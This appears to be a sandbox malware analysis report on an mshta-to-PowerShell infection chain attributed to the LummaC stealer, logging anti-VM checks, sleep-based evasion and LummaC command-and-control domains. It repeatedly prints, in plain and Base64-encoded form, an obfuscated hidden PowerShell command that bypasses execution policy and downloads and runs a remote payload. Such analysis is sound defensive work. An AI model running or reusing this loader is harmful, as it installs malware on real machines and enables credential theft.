Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 18_2_00007FF9BAD959CD sldt word ptr [eax]

18_2_00007FF9BAD959CD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 972	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6886	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2770	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7114	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8084	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2924	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 18_2_00007FF9BA8E2C19 GetSystemInfo,

18_2_00007FF9BA8E2C19

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000012.00000002.1411409836.00000296FBD49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mshta.exe, 00000011.00000003.1440902304.00000213920F6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1454869767.0000021392114000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1449256712.0000021392114000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWlorer_Server
Source: powershell.exe, 0000001E.00000002.2608525720.000000000333F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2
Source: mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0F
Source: mshta.exe, 00000011.00000003.1431390950.000002139215D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000330D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000333F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000014.00000002.2192814314.00000000073B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

API call chain: ExitProcess graph end node

graph_30-14255

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 30_2_0043F8D0 LdrInitializeThunk,

30_2_0043F8D0

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()

Encrypted powershell cmdline option found

Source: C:\Windows\System32\mshta.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like''tomd''}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like''ome''}).Name).Invoke(''N-O'',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW ''https://d1.exploredairyaptitude.shop/sh.bin'';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like''nlg''}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()'
Source: C:\Windows\System32\mshta.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like''tomd''}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like''ome''}).Name).Invoke(''N-O'',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW ''https://d1.exploredairyaptitude.shop/sh.bin'';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like''nlg''}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()'			Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: truculengisau.biz
Source: powershell.exe	String found in binary or memory: spookycappy.biz
Source: powershell.exe	String found in binary or memory: punishzement.biz
Source: powershell.exe	String found in binary or memory: nuttyshopr.biz
Source: powershell.exe	String found in binary or memory: marketlumpe.biz
Source: powershell.exe	String found in binary or memory: littlenotii.biz
Source: powershell.exe	String found in binary or memory: grandiouseziu.biz
Source: powershell.exe	String found in binary or memory: fraggielek.biz
Source: powershell.exe	String found in binary or memory: beliefbidu.cyou

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavagqamqauaguaeabwagwabwbyaguazabhagkacgb5ageacab0agkadab1agqazqauahmaaabvahaalwbzaggalgbiagkabganaccaowbbafmaywbyagkacab0aeiababvagmaawbdadoaogbdahiazqbhahqazqaoacgarwbjacaavgbhahiaaqbhagiababladoaqwbpafuakqauafyayqbsahuazqauacgakaaoacgarwbjacaavgbhahiaaqbhagiababladoaqwbpafuakqauafyayqbsahuazqb8ae0azqbtagiazqbyackafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqag4abaaqagcajwanah0akqauae4ayqbtaguakqauaekabgb2ag8aawblacgakabwageacgbpageaygbsaguaiabsafcakqauafyayqbsahuazqapackalgbjag4adgbvagsazqbsaguadab1ahiabgbbahmasqbzacgakqanaa==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command gdr -;set-variable ciu (.$executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name)\|member\|where-object{$_.name-like'tomd'}).name).invoke($executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name).psobject.methods\|where-object{$_.name-like'ome'}).name).invoke('n-o',$true,$true),[management.automation.commandtypes]::cmdlet)net.webclient);set-item variable:/lw 'https://d1.exploredairyaptitude.shop/sh.bin';[scriptblock]::create((gi variable:ciu).value.((((gi variable:ciu).value\|member)\|where-object{$_.name-like'nlg'}).name).invoke((variable lw).value)).invokereturnasis()
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavagqamqauaguaeabwagwabwbyaguazabhagkacgb5ageacab0agkadab1agqazqauahmaaabvahaalwbzaggalgbiagkabganaccaowbbafmaywbyagkacab0aeiababvagmaawbdadoaogbdahiazqbhahqazqaoacgarwbjacaavgbhahiaaqbhagiababladoaqwbpafuakqauafyayqbsahuazqauacgakaaoacgarwbjacaavgbhahiaaqbhagiababladoaqwbpafuakqauafyayqbsahuazqb8ae0azqbtagiazqbyackafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqag4abaaqagcajwanah0akqauae4ayqbtaguakqauaekabgb2ag8aawblacgakabwageacgbpageaygbsaguaiabsafcakqauafyayqbsahuazqapackalgbjag4adgbvagsazqbsaguadab1ahiabgbbahmasqbzacgakqanaa==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command gdr -;set-variable ciu (.$executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name)\|member\|where-object{$_.name-like'tomd'}).name).invoke($executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name).psobject.methods\|where-object{$_.name-like'ome'}).name).invoke('n-o',$true,$true),[management.automation.commandtypes]::cmdlet)net.webclient);set-item variable:/lw 'https://d1.exploredairyaptitude.shop/sh.bin';[scriptblock]::create((gi variable:ciu).value.((((gi variable:ciu).value\|member)\|where-object{$_.name-like'nlg'}).name).invoke((variable lw).value)).invokereturnasis()	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
